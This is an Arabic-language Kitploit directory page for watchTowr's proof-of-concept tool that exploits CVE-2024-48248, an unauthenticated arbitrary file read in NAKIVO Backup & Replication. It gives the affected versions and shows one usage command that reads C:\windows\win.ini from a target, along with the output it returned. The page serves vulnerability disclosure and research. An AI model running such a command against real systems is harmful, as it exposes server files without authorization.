Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nakivo-arbitrary-file-read-poc-CVE-2024-48248 | Kitploit
أدوات/GitHubGitHub/watchtowrlabs/nakivo-arbitrary-file-read-poc-cve-2024-48248
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمر
GitHubwatchtowrlabs/nakivo-arbitrary-file-read-poc-cve-2024-48248

nakivo-arbitrary-file-read-poc-CVE-2024-48248

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
3منذ سنة واحدةلم تتم المراجعة بعد

CVE-2024-48248

حل النسخ الاحتياطي والاستعادة NAKIVO: إثبات مفهوم لقراءة ملفات تعسفية بدون مصادقة

اطّلع على منشور مدونتنا للتفاصيل التقنية

الاكتشاف أثناء العمل

root@kitploit:~
python3 watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py --url https://192.168.1.1:4443 --file "C:\\windows\\win.ini"
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py
        (*) Nakivo Unauthenticated Arbitrary File Read (CVE-2024-48248) POC by watchTowr
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2024-48248]
        
[*] Targeting https://192.168.1.1:4443
[*] Attempting to read file 'C:\windows\win.ini'
[*] File Contents:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

الوصف

هذا السكربت هو إثبات مفهوم لـ CVE-2024-48248، ويستهدف حل النسخ الاحتياطي والاستعادة NAKIVO. مزيد من التفاصيل موصوفة في [منشور مدونتنا] (https://labs.watchtowr.com/).

الإصدارات المتأثرة

  • حل النسخ الاحتياطي والاستعادة NAKIVO 10.11.3.86570 وما دون

تابع watchTowr Labs

لأحدث الأبحاث الأمنية، تابع فريق watchTowr Labs

  • https://labs.watchtowr.com/
  • https://x.com/watchtowrcyber
تنزيل الأداة